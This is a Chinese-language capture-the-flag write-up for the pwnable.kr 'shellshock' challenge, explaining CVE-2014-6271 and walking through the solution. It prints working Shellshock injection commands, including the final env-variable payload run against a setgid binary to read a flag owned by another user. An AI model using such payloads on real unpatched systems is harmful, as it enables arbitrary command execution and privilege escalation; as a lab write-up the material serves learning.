【Writeup】Pwnable.kr 0x0A shellshock

0x0A shellshock

题目描述

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)

题目代码

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

题目分析

本题主要考察的是破壳漏洞(shellshock)CVE-2014-6271
所以第一步,查阅CVE-2014-6271的资料,http://blog.csdn.net/tinyletero/article/details/40261593
所以该漏洞的利用方式就是

env x=() { :;}; echo vulnerable

在echo vulnerable处可以执行任意代码,所以就想在那里执行cat flag不久可以读出flag了么,那么运行一下命令

env x='() { :;}; ' bash -c "cat flag"


咦?发现说没有权限执行,那么看一下权限

发现flag是属于用户shellshock_pwn的,bash是属于shellshock的
而我们看一下我们是哪个用户

发现是shellshock用户,所以我们没有权限查看shellshock_pwn用户的文件,那怎么办呢?既然出了这题,就肯定有解决的办法,仔细观察这个权限详情,发现了高亮部分的权限是-r-xr-sr-x,其中用户组有一个s

查阅一下有关uid,sid的知识http://www.cnblogs.com/snake-hand/p/3161511.html
发现,当我们执行shellshock的时候,权限会会提升到shellshock_pwn,而flag刚好需要shellshock_pwn的权限,所以更改一下命令

env x='() { :;}; bash -c "cat flag" ' ./shellshock

得到flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容